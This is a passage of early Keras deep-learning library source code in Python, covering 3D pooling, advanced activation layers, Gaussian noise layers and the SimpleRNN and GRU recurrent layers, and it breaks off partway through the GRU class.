                  'border_mode': self.border_mode,
                  'strides': self.strides,
                  'dim_ordering': self.dim_ordering}
        base_config = super(_Pooling3D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class MaxPooling3D(_Pooling3D):
    '''Max pooling operation for 3D data (spatial or spatio-temporal).

    # Arguments
        pool_size: tuple of 3 integers,
            factors by which to downscale (dim1, dim2, dim3).
            (2, 2, 2) will halve the size of the 3D input in each dimension.
        strides: tuple of 3 integers, or None. Strides values.
        border_mode: 'valid' or 'same'.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        `(samples, channels, len_pool_dim1, len_pool_dim2, len_pool_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, len_pool_dim1, len_pool_dim2, len_pool_dim3, channels)` if dim_ordering='tf'.

    # Output shape
        5D tensor with shape:
        `(nb_samples, channels, pooled_dim1, pooled_dim2, pooled_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, pooled_dim1, pooled_dim2, pooled_dim3, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, pool_size=(2, 2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(MaxPooling3D, self).__init__(pool_size, strides, border_mode,
                                           dim_ordering, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool3d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='max')
        return output


class AveragePooling3D(_Pooling3D):
    '''Average pooling operation for 3D data (spatial or spatio-temporal).

    # Arguments
        pool_size: tuple of 3 integers,
            factors by which to downscale (dim1, dim2, dim3).
            (2, 2, 2) will halve the size of the 3D input in each dimension.
        strides: tuple of 3 integers, or None. Strides values.
        border_mode: 'valid' or 'same'.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 4.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        5D tensor with shape:
        `(samples, channels, len_pool_dim1, len_pool_dim2, len_pool_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, len_pool_dim1, len_pool_dim2, len_pool_dim3, channels)` if dim_ordering='tf'.

    # Output shape
        5D tensor with shape:
        `(nb_samples, channels, pooled_dim1, pooled_dim2, pooled_dim3)` if dim_ordering='th'
        or 5D tensor with shape:
        `(samples, pooled_dim1, pooled_dim2, pooled_dim3, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, pool_size=(2, 2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(AveragePooling3D, self).__init__(pool_size, strides, border_mode,
                                               dim_ordering, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool3d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='avg')
        return output






from __future__ import absolute_import
from ..engine import Layer, Input, InputLayer, Merge, merge, InputSpec
from .core import *
from .convolutional import *
from .pooling import *
from .local import *
from .recurrent import *
from .normalization import *
from .embeddings import *
from .noise import *
from .advanced_activations import *
from .wrappers import *






from .. import initializations
from ..engine import Layer
from .. import backend as K
import numpy as np


class LeakyReLU(Layer):
    '''Special version of a Rectified Linear Unit
    that allows a small gradient when the unit is not active:
    `f(x) = alpha * x for x < 0`,
    `f(x) = x for x >= 0`.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        alpha: float >= 0. Negative slope coefficient.
    '''
    def __init__(self, alpha=0.3, **kwargs):
        self.supports_masking = True
        self.alpha = alpha
        super(LeakyReLU, self).__init__(**kwargs)

    def call(self, x, mask=None):
        return K.relu(x, alpha=self.alpha)

    def get_config(self):
        config = {'alpha': self.alpha}
        base_config = super(LeakyReLU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class PReLU(Layer):
    '''Parametric Rectified Linear Unit:
    `f(x) = alphas * x for x < 0`,
    `f(x) = x for x >= 0`,
    where `alphas` is a learned array with the same shape as x.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        init: initialization function for the weights.
        weights: initial weights, as a list of a single Numpy array.

    # References
        - [Delving Deep into Rectifiers: Surpassing Human-Level Performance on ImageNet Classification](http://arxiv.org/pdf/1502.01852v1.pdf)
    '''
    def __init__(self, init='zero', weights=None, **kwargs):
        self.supports_masking = True
        self.init = initializations.get(init)
        self.initial_weights = weights
        super(PReLU, self).__init__(**kwargs)

    def build(self, input_shape):
        self.alphas = self.init(input_shape[1:],
                                name='{}_alphas'.format(self.name))
        self.trainable_weights = [self.alphas]

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def call(self, x, mask=None):
        pos = K.relu(x)
        neg = self.alphas * (x - abs(x)) * 0.5
        return pos + neg

    def get_config(self):
        config = {'init': self.init.__name__}
        base_config = super(PReLU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ELU(Layer):
    '''Exponential Linear Unit:
    `f(x) =  alpha * (exp(x) - 1.) for x < 0`,
    `f(x) = x for x >= 0`.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        alpha: scale for the negative factor.

    # References
        - [Fast and Accurate Deep Network Learning by Exponential Linear Units (ELUs)](http://arxiv.org/pdf/1511.07289v1.pdf)
    '''
    def __init__(self, alpha=1.0, **kwargs):
        self.supports_masking = True
        self.alpha = K.cast_to_floatx(alpha)
        super(ELU, self).__init__(**kwargs)

    def call(self, x, mask=None):
        pos = K.relu(x)
        neg = (x - abs(x)) * 0.5
        return pos + self.alpha * (K.exp(neg) - 1.)

    def get_config(self):
        config = {'alpha': float(self.alpha)}
        base_config = super(ELU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ParametricSoftplus(Layer):
    '''Parametric Softplus:
    `alpha * log(1 + exp(beta * x))`

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        alpha_init: float. Initial value of the alpha weights.
        beta_init: float. Initial values of the beta weights.
        weights: initial weights, as a list of 2 numpy arrays.

    # References
        - [Inferring Nonlinear Neuronal Computation Based on Physiologically Plausible Inputs](http://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1003143)
    '''
    def __init__(self, alpha_init=0.2, beta_init=5.0,
                 weights=None, **kwargs):
        self.supports_masking = True
        self.alpha_init = K.cast_to_floatx(alpha_init)
        self.beta_init = K.cast_to_floatx(beta_init)
        self.initial_weights = weights
        super(ParametricSoftplus, self).__init__(**kwargs)

    def build(self, input_shape):
        input_shape = input_shape[1:]
        self.alphas = K.variable(self.alpha_init * np.ones(input_shape),
                                 name='{}_alphas'.format(self.name))
        self.betas = K.variable(self.beta_init * np.ones(input_shape),
                                name='{}_betas'.format(self.name))
        self.trainable_weights = [self.alphas, self.betas]

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def call(self, x, mask=None):
        return K.softplus(self.betas * x) * self.alphas

    def get_config(self):
        config = {'alpha_init': float(self.alpha_init),
                  'beta_init': float(self.beta_init)}
        base_config = super(ParametricSoftplus, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class ThresholdedReLU(Layer):
    '''Thresholded Rectified Linear Unit:
    `f(x) = x for x > theta`
    `f(x) = 0 otherwise`.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        theta: float >= 0. Threshold location of activation.

    # References
        - [Zero-Bias Autoencoders and the Benefits of Co-Adapting Features](http://arxiv.org/pdf/1402.3337.pdf)
    '''
    def __init__(self, theta=1.0, **kwargs):
        self.supports_masking = True
        self.theta = K.cast_to_floatx(theta)
        super(ThresholdedReLU, self).__init__(**kwargs)

    def call(self, x, mask=None):
        return x * K.cast(x > self.theta, K.floatx())

    def get_config(self):
        config = {'theta': float(self.theta)}
        base_config = super(ThresholdedReLU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class SReLU(Layer):
    '''S-shaped Rectified Linear Unit.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as the input.

    # Arguments
        t_left_init: initialization function for the left part intercept
        a_left_init: initialization function for the left part slope
        t_right_init: initialization function for the right part intercept
        a_right_init: initialization function for the right part slope

    # References
        - [Deep Learning with S-shaped Rectified Linear Activation Units](http://arxiv.org/abs/1512.07030)
    '''
    def __init__(self, t_left_init='zero', a_left_init='glorot_uniform',
                 t_right_init='glorot_uniform', a_right_init='one', **kwargs):
        self.supports_masking = True
        self.t_left_init = t_left_init
        self.a_left_init = a_left_init
        self.t_right_init = t_right_init
        self.a_right_init = a_right_init
        super(SReLU, self).__init__(**kwargs)

    def build(self, input_shape):
        input_shape = input_shape[1:]

        t_left_init = initializations.get(self.t_left_init)
        a_left_init = initializations.get(self.a_left_init)
        t_right_init = initializations.get(self.t_right_init)
        a_right_init = initializations.get(self.a_right_init)

        self.t_left = t_left_init(input_shape,
                                  name='{}_t_left'.format(self.name))
        self.a_left = a_left_init(input_shape,
                                  name='{}_a_left'.format(self.name))
        self.t_right = t_right_init(input_shape,
                                    name='{}_t_right'.format(self.name))
        self.a_right = a_right_init(input_shape,
                                    name='{}_a_right'.format(self.name))
        # ensure the the right part is always to the right of the left
        self.t_right_actual = self.t_left + abs(self.t_right)
        self.trainable_weights = [self.t_left, self.a_left,
                                  self.t_right, self.a_right]

    def call(self, x, mask=None):
        Y_left_and_center = self.t_left + K.relu(x - self.t_left,
                                                 self.a_left,
                                                 self.t_right_actual - self.t_left)
        Y_right = K.relu(x - self.t_right_actual) * self.a_right
        return Y_left_and_center + Y_right

    def get_config(self):
        config = {'t_left_init': self.t_left_init,
                  'a_left_init': self.a_left_init,
                  't_right_init': self.t_right_init,
                  'a_right_init': self.a_right_init}
        base_config = super(SReLU, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






from __future__ import absolute_import
from ..engine import Layer
from .. import backend as K
import numpy as np


class GaussianNoise(Layer):
    '''Apply to the input an additive zero-centered Gaussian noise with
    standard deviation `sigma`. This is useful to mitigate overfitting
    (you could see it as a kind of random data augmentation).
    Gaussian Noise (GS) is a natural choice as corruption process
    for real valued inputs.

    As it is a regularization layer, it is only active at training time.

    # Arguments
        sigma: float, standard deviation of the noise distribution.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.
    '''
    def __init__(self, sigma, **kwargs):
        self.supports_masking = True
        self.sigma = sigma
        self.uses_learning_phase = True
        super(GaussianNoise, self).__init__(**kwargs)

    def call(self, x, mask=None):
        noise_x = x + K.random_normal(shape=K.shape(x),
                                      mean=0.,
                                      std=self.sigma)
        return K.in_train_phase(noise_x, x)

    def get_config(self):
        config = {'sigma': self.sigma}
        base_config = super(GaussianNoise, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class GaussianDropout(Layer):
    '''Apply to the input an multiplicative one-centered Gaussian noise
    with standard deviation `sqrt(p/(1-p))`.

    As it is a regularization layer, it is only active at training time.

    # Arguments
        p: float, drop probability (as with `Dropout`).

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.

    # References
        [Dropout: A Simple Way to Prevent Neural Networks from Overfitting Srivastava, Hinton, et al. 2014](http://www.cs.toronto.edu/~rsalakhu/papers/srivastava14a.pdf)
    '''
    def __init__(self, p, **kwargs):
        self.supports_masking = True
        self.p = p
        if 0 < p < 1:
            self.uses_learning_phase = True
        super(GaussianDropout, self).__init__(**kwargs)

    def call(self, x, mask=None):
        if 0 < self.p < 1:
            noise_x = x * K.random_normal(shape=K.shape(x), mean=1.0,
                                          std=np.sqrt(self.p / (1.0 - self.p)))
            return K.in_train_phase(noise_x, x)
        return x

    def get_config(self):
        config = {'p': self.p}
        base_config = super(GaussianDropout, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






# -*- coding: utf-8 -*-
from __future__ import absolute_import
import numpy as np

from .. import backend as K
from .. import activations, initializations, regularizers
from ..engine import Layer, InputSpec


def time_distributed_dense(x, w, b=None, dropout=None,
                           input_dim=None, output_dim=None, timesteps=None):
    '''Apply y.w + b for every temporal slice y of x.
    '''
    if not input_dim:
        # won't work with TensorFlow
        input_dim = K.shape(x)[2]
    if not timesteps:
        # won't work with TensorFlow
        timesteps = K.shape(x)[1]
    if not output_dim:
        # won't work with TensorFlow
        output_dim = K.shape(w)[1]

    if dropout is not None and 0. < dropout < 1.:
        # apply the same dropout pattern at every timestep
        ones = K.ones_like(K.reshape(x[:, 0, :], (-1, input_dim)))
        dropout_matrix = K.dropout(ones, dropout)
        expanded_dropout_matrix = K.repeat(dropout_matrix, timesteps)
        x = K.in_train_phase(x * expanded_dropout_matrix, x)

    # collapse time dimension and batch dimension together
    x = K.reshape(x, (-1, input_dim))

    x = K.dot(x, w)
    if b:
        x = x + b
    # reshape to 3D tensor
    x = K.reshape(x, (-1, timesteps, output_dim))
    return x


class Recurrent(Layer):
    '''Abstract base class for recurrent layers.
    Do not use in a model -- it's not a valid layer!
    Use its children classes `LSTM`, `GRU` and `SimpleRNN` instead.

    All recurrent layers (`LSTM`, `GRU`, `SimpleRNN`) also
    follow the specifications of this class and accept
    the keyword arguments listed below.

    # Example

    ```python
        # as the first layer in a Sequential model
        model = Sequential()
        model.add(LSTM(32, input_shape=(10, 64)))
        # now model.output_shape == (None, 32)
        # note: `None` is the batch dimension.

        # the following is identical:
        model = Sequential()
        model.add(LSTM(32, input_dim=64, input_length=10))

        # for subsequent layers, not need to specify the input size:
        model.add(LSTM(16))
    ```

    # Arguments
        weights: list of Numpy arrays to set as initial weights.
            The list should have 3 elements, of shapes:
            `[(input_dim, output_dim), (output_dim, output_dim), (output_dim,)]`.
        return_sequences: Boolean. Whether to return the last output
            in the output sequence, or the full sequence.
        go_backwards: Boolean (default False).
            If True, process the input sequence backwards.
        stateful: Boolean (default False). If True, the last state
            for each sample at index i in a batch will be used as initial
            state for the sample of index i in the following batch.
        unroll: Boolean (default False). If True, the network will be unrolled,
            else a symbolic loop will be used. When using TensorFlow, the network
            is always unrolled, so this argument does not do anything.
            Unrolling can speed-up a RNN, although it tends to be more memory-intensive.
            Unrolling is only suitable for short sequences.
        consume_less: one of "cpu", "mem", or "gpu" (LSTM/GRU only).
            If set to "cpu", the RNN will use
            an implementation that uses fewer, larger matrix products,
            thus running faster on CPU but consuming more memory.
            If set to "mem", the RNN will use more matrix products,
            but smaller ones, thus running slower (may actually be faster on GPU)
            while consuming less memory.
            If set to "gpu" (LSTM/GRU only), the RNN will combine the input gate,
            the forget gate and the output gate into a single matrix,
            enabling more time-efficient parallelization on the GPU. Note: RNN
            dropout must be shared for all gates, resulting in a slightly
            reduced regularization.
        input_dim: dimensionality of the input (integer).
            This argument (or alternatively, the keyword argument `input_shape`)
            is required when using this layer as the first layer in a model.
        input_length: Length of input sequences, to be specified
            when it is constant.
            This argument is required if you are going to connect
            `Flatten` then `Dense` layers upstream
            (without it, the shape of the dense outputs cannot be computed).
            Note that if the recurrent layer is not the first layer
            in your model, you would need to specify the input length
            at the level of the first layer
            (e.g. via the `input_shape` argument)

    # Input shape
        3D tensor with shape `(nb_samples, timesteps, input_dim)`.

    # Output shape
        - if `return_sequences`: 3D tensor with shape
            `(nb_samples, timesteps, output_dim)`.
        - else, 2D tensor with shape `(nb_samples, output_dim)`.

    # Masking
        This layer supports masking for input data with a variable number
        of timesteps. To introduce masks to your data,
        use an [Embedding](embeddings.md) layer with the `mask_zero` parameter
        set to `True`.

    # TensorFlow warning
        For the time being, when using the TensorFlow backend,
        the number of timesteps used must be specified in your model.
        Make sure to pass an `input_length` int argument to your
        recurrent layer (if it comes first in your model),
        or to pass a complete `input_shape` argument to the first layer
        in your model otherwise.


    # Note on using statefulness in RNNs
        You can set RNN layers to be 'stateful', which means that the states
        computed for the samples in one batch will be reused as initial states
        for the samples in the next batch.
        This assumes a one-to-one mapping between
        samples in different successive batches.

        To enable statefulness:
            - specify `stateful=True` in the layer constructor.
            - specify a fixed batch size for your model, by passing
                if sequential model:
                  a `batch_input_shape=(...)` to the first layer in your model.
                else for functional model with 1 or more Input layers:
                  a `batch_shape=(...)` to all the first layers in your model.
                This is the expected shape of your inputs *including the batch size*.
                It should be a tuple of integers, e.g. `(32, 10, 100)`.

        To reset the states of your model, call `.reset_states()` on either
        a specific layer, or on your entire model.

    # Note on using dropout with TensorFlow
        When using the TensorFlow backend, specify a fixed batch size for your model
        following the notes on statefulness RNNs.
    '''
    def __init__(self, weights=None,
                 return_sequences=False, go_backwards=False, stateful=False,
                 unroll=False, consume_less='cpu',
                 input_dim=None, input_length=None, **kwargs):
        self.return_sequences = return_sequences
        self.initial_weights = weights
        self.go_backwards = go_backwards
        self.stateful = stateful
        self.unroll = unroll
        self.consume_less = consume_less

        self.supports_masking = True
        self.input_spec = [InputSpec(ndim=3)]
        self.input_dim = input_dim
        self.input_length = input_length
        if self.input_dim:
            kwargs['input_shape'] = (self.input_length, self.input_dim)
        super(Recurrent, self).__init__(**kwargs)

    def get_output_shape_for(self, input_shape):
        if self.return_sequences:
            return (input_shape[0], input_shape[1], self.output_dim)
        else:
            return (input_shape[0], self.output_dim)

    def compute_mask(self, input, mask):
        if self.return_sequences:
            return mask
        else:
            return None

    def step(self, x, states):
        raise NotImplementedError

    def get_constants(self, x):
        return []

    def get_initial_states(self, x):
        # build an all-zero tensor of shape (samples, output_dim)
        initial_state = K.zeros_like(x)  # (samples, timesteps, input_dim)
        initial_state = K.sum(initial_state, axis=(1, 2))  # (samples,)
        initial_state = K.expand_dims(initial_state)  # (samples, 1)
        initial_state = K.tile(initial_state, [1, self.output_dim])  # (samples, output_dim)
        initial_states = [initial_state for _ in range(len(self.states))]
        return initial_states

    def preprocess_input(self, x):
        return x

    def call(self, x, mask=None):
        # input shape: (nb_samples, time (padded with zeros), input_dim)
        # note that the .build() method of subclasses MUST define
        # self.input_spec with a complete input shape.
        input_shape = self.input_spec[0].shape
        if K._BACKEND == 'tensorflow':
            if not input_shape[1]:
                raise Exception('When using TensorFlow, you should define '
                                'explicitly the number of timesteps of '
                                'your sequences.\n'
                                'If your first layer is an Embedding, '
                                'make sure to pass it an "input_length" '
                                'argument. Otherwise, make sure '
                                'the first layer has '
                                'an "input_shape" or "batch_input_shape" '
                                'argument, including the time axis. '
                                'Found input shape at layer ' + self.name +
                                ': ' + str(input_shape))
        if self.stateful:
            initial_states = self.states
        else:
            initial_states = self.get_initial_states(x)
        constants = self.get_constants(x)
        preprocessed_input = self.preprocess_input(x)

        last_output, outputs, states = K.rnn(self.step, preprocessed_input,
                                             initial_states,
                                             go_backwards=self.go_backwards,
                                             mask=mask,
                                             constants=constants,
                                             unroll=self.unroll,
                                             input_length=input_shape[1])
        if self.stateful:
            self.updates = []
            for i in range(len(states)):
                self.updates.append((self.states[i], states[i]))

        if self.return_sequences:
            return outputs
        else:
            return last_output

    def get_config(self):
        config = {'return_sequences': self.return_sequences,
                  'go_backwards': self.go_backwards,
                  'stateful': self.stateful,
                  'unroll': self.unroll,
                  'consume_less': self.consume_less}
        if self.stateful:
            config['batch_input_shape'] = self.input_spec[0].shape
        else:
            config['input_dim'] = self.input_dim
            config['input_length'] = self.input_length

        base_config = super(Recurrent, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class SimpleRNN(Recurrent):
    '''Fully-connected RNN where the output is to be fed back to input.

    # Arguments
        output_dim: dimension of the internal projections and the final output.
        init: weight initialization function.
            Can be the name of an existing function (str),
            or a Theano function (see: [initializations](../initializations.md)).
        inner_init: initialization function of the inner cells.
        activation: activation function.
            Can be the name of an existing function (str),
            or a Theano function (see: [activations](../activations.md)).
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the input weights matrices.
        U_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the recurrent weights matrices.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        dropout_W: float between 0 and 1. Fraction of the input units to drop for input gates.
        dropout_U: float between 0 and 1. Fraction of the input units to drop for recurrent connections.

    # References
        - [A Theoretically Grounded Application of Dropout in Recurrent Neural Networks](http://arxiv.org/abs/1512.05287)
    '''
    def __init__(self, output_dim,
                 init='glorot_uniform', inner_init='orthogonal',
                 activation='tanh',
                 W_regularizer=None, U_regularizer=None, b_regularizer=None,
                 dropout_W=0., dropout_U=0., **kwargs):
        self.output_dim = output_dim
        self.init = initializations.get(init)
        self.inner_init = initializations.get(inner_init)
        self.activation = activations.get(activation)
        self.W_regularizer = regularizers.get(W_regularizer)
        self.U_regularizer = regularizers.get(U_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.dropout_W, self.dropout_U = dropout_W, dropout_U

        if self.dropout_W or self.dropout_U:
            self.uses_learning_phase = True
        super(SimpleRNN, self).__init__(**kwargs)

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]
        if self.stateful:
            self.reset_states()
        else:
            # initial states: all-zero tensor of shape (output_dim)
            self.states = [None]
        input_dim = input_shape[2]
        self.input_dim = input_dim

        self.W = self.init((input_dim, self.output_dim),
                           name='{}_W'.format(self.name))
        self.U = self.inner_init((self.output_dim, self.output_dim),
                                 name='{}_U'.format(self.name))
        self.b = K.zeros((self.output_dim,), name='{}_b'.format(self.name))

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)
        if self.U_regularizer:
            self.U_regularizer.set_param(self.U)
            self.regularizers.append(self.U_regularizer)
        if self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        self.trainable_weights = [self.W, self.U, self.b]

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def reset_states(self):
        assert self.stateful, 'Layer must be stateful.'
        input_shape = self.input_spec[0].shape
        if not input_shape[0]:
            raise Exception('If a RNN is stateful, a complete ' +
                            'input_shape must be provided (including batch size).')
        if hasattr(self, 'states'):
            K.set_value(self.states[0],
                        np.zeros((input_shape[0], self.output_dim)))
        else:
            self.states = [K.zeros((input_shape[0], self.output_dim))]

    def preprocess_input(self, x):
        if self.consume_less == 'cpu':
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[2]
            timesteps = input_shape[1]
            return time_distributed_dense(x, self.W, self.b, self.dropout_W,
                                          input_dim, self.output_dim,
                                          timesteps)
        else:
            return x

    def step(self, x, states):
        prev_output = states[0]
        B_U = states[1]
        B_W = states[2]

        if self.consume_less == 'cpu':
            h = x
        else:
            h = K.dot(x * B_W, self.W) + self.b

        output = self.activation(h + K.dot(prev_output * B_U, self.U))
        return output, [output]

    def get_constants(self, x):
        constants = []
        if 0 < self.dropout_U < 1:
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * self.output_dim, 1)
            B_U = K.in_train_phase(K.dropout(ones, self.dropout_U), ones)
            constants.append(B_U)
        else:
            constants.append(K.cast_to_floatx(1.))
        if self.consume_less == 'cpu' and 0 < self.dropout_W < 1:
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[-1]
            ones = K.ones_like(K.reshape(x[:, 0, 0], (-1, 1)))
            ones = K.concatenate([ones] * input_dim, 1)
            B_W = K.in_train_phase(K.dropout(ones, self.dropout_W), ones)
            constants.append(B_W)
        else:
            constants.append(K.cast_to_floatx(1.))
        return constants

    def get_config(self):
        config = {'output_dim': self.output_dim,
                  'init': self.init.__name__,
                  'inner_init': self.inner_init.__name__,
                  'activation': self.activation.__name__,
                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
                  'U_regularizer': self.U_regularizer.get_config() if self.U_regularizer else None,
                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
                  'dropout_W': self.dropout_W,
                  'dropout_U': self.dropout_U}
        base_config = super(SimpleRNN, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class GRU(Recurrent):
    '''Gated Recurrent Unit - Cho et al. 2014.

    # Arguments
        output_dim: dimension of the internal projections and the final output.
        init: weight initialization function.
            Can be the name of an existing function (str),
            or a Theano function (see: [initializations](../initializations.md)).
        inner_init: initialization function of the inner cells.
        activation: activation function.
            Can be the name of an existing function (str),
            or a Theano function (see: [activations](../activations.md)).
        inner_activation: activation function for the inner cells.
        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the input weights matrices.
        U_regularizer: instance of [WeightRegularizer](../regularizers.md)
            (eg. L1 or L2 regularization), applied to the recurrent weights matrices.
        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
            applied to the bias.
        dropout_W: float between 0 and 1. Fraction of the input units to drop for input gates.
        dropout_U: float between 0 and 1. Fraction of the input units to drop for recurrent connections.

    # References
        - [On the Properties of Neural Machine Translation: Encoder–Decoder Approaches](http://www.aclweb.org/anthology/W14-4012)
        - [Empirical Evaluation of Gated Recurrent Neural Networks on Sequence Modeling](http://arxiv.org/pdf/1412.3555v1.pdf)
        - [A Theoretically Grounded Application of Dropout in Recurrent Neural Networks](http://arxiv.org/abs/1512.05287)
    '''
    def __init__(self, output_dim,
                 init='glorot_uniform', inner_init='orthogonal',
                 activation='tanh', inner_activation='hard_sigmoid',
                 W_regularizer=None, U_regularizer=None, b_regularizer=None,
                 dropout_W=0., dropout_U=0., **kwargs):
        self.output_dim = output_dim
        self.init = initializations.get(init)
        self.inner_init = initializations.get(inner_init)
        self.activation = activations.get(activation)
        self.inner_activation = activations.get(inner_activation)
        self.W_regularizer = regularizers.get(W_regularizer)
        self.U_regularizer = regularizers.get(U_regularizer)
        self.b_regularizer = regularizers.get(b_regularizer)
        self.dropout_W, self.dropout_U = dropout_W, dropout_U

        if self.dropout_W or self.dropout_U:
            self.uses_learning_phase = True
        super(GRU, self).__init__(**kwargs)

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]
        self.input_dim = input_shape[2]

        if self.stateful:
            self.reset_states()
        else:
            # initial states: all-zero tensor of shape (output_dim)
            self.states = [None]

        if self.consume_less == 'gpu':

            self.W = self.init((self.input_dim, 3 * self.output_dim),
                               name='{}_W'.format(self.name))
            self.U = self.inner_init((self.output_dim, 3 * self.output_dim),
                                     name='{}_U'.format(self.name))

            self.b = K.variable(np.hstack((np.zeros(self.output_dim),
                                           np.zeros(self.output_dim),
                                           np.zeros(self.output_dim))),
                                name='{}_b'.format(self.name))

            self.trainable_weights = [self.W, self.U, self.b]
        else:

            self.W_z = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_z'.format(self.name))
            self.U_z = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_z'.format(self.name))
            self.b_z = K.zeros((self.output_dim,), name='{}_b_z'.format(self.name))

            self.W_r = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_r'.format(self.name))
            self.U_r = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_r'.format(self.name))
            self.b_r = K.zeros((self.output_dim,), name='{}_b_r'.format(self.name))

            self.W_h = self.init((self.input_dim, self.output_dim),
                                 name='{}_W_h'.format(self.name))
            self.U_h = self.inner_init((self.output_dim, self.output_dim),
                                       name='{}_U_h'.format(self.name))
            self.b_h = K.zeros((self.output_dim,), name='{}_b_h'.format(self.name))

            self.trainable_weights = [self.W_z, self.U_z, self.b_z,
                                      self.W_r, self.U_r, self.b_r,
                                      self.W_h, self.U_h, self.b_h]

            self.W = K.concatenate([self.W_z, self.W_r, self.W_h])
            self.U = K.concatenate([self.U_z, self.U_r, self.U_h])
            self.b = K.concatenate([self.b_z, self.b_r, self.b_h])

        self.regularizers = []
        if self.W_regularizer:
            self.W_regularizer.set_param(self.W)
            self.regularizers.append(self.W_regularizer)
        if self.U_regularizer:
            self.U_regularizer.set_param(self.U)
            self.regularizers.append(self.U_regularizer)
        if self.b_regularizer:
            self.b_regularizer.set_param(self.b)
            self.regularizers.append(self.b_regularizer)

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights

    def reset_states(self):
        assert self.stateful, 'Layer must be stateful.'
        input_shape = self.input_spec[0].shape
        if not input_shape[0]:
            raise Exception('If a RNN is stateful, a complete ' +
                            'input_shape must be provided (including batch size).')
        if hasattr(self, 'states'):
            K.set_value(self.states[0],
                        np.zeros((input_shape[0], self.output_dim)))
        else:
            self.states = [K.zeros((input_shape[0], self.output_dim))]

    def preprocess_input(self, x):
        if self.consume_less == 'cpu':
            input_shape = self.input_spec[0].shape
            input_dim = input_shape[2]
            timesteps = input_shape[1]

            x_z = time_distributed_dense(x, self.W_z, self.b_z, self.dropout_W,
                                         input_dim, self.output_dim, timesteps)
            x_r = time_distributed_dense(x, self.W_r, self.b_r, self.dropout_W,
                                         input_dim, self.output_dim, timesteps)
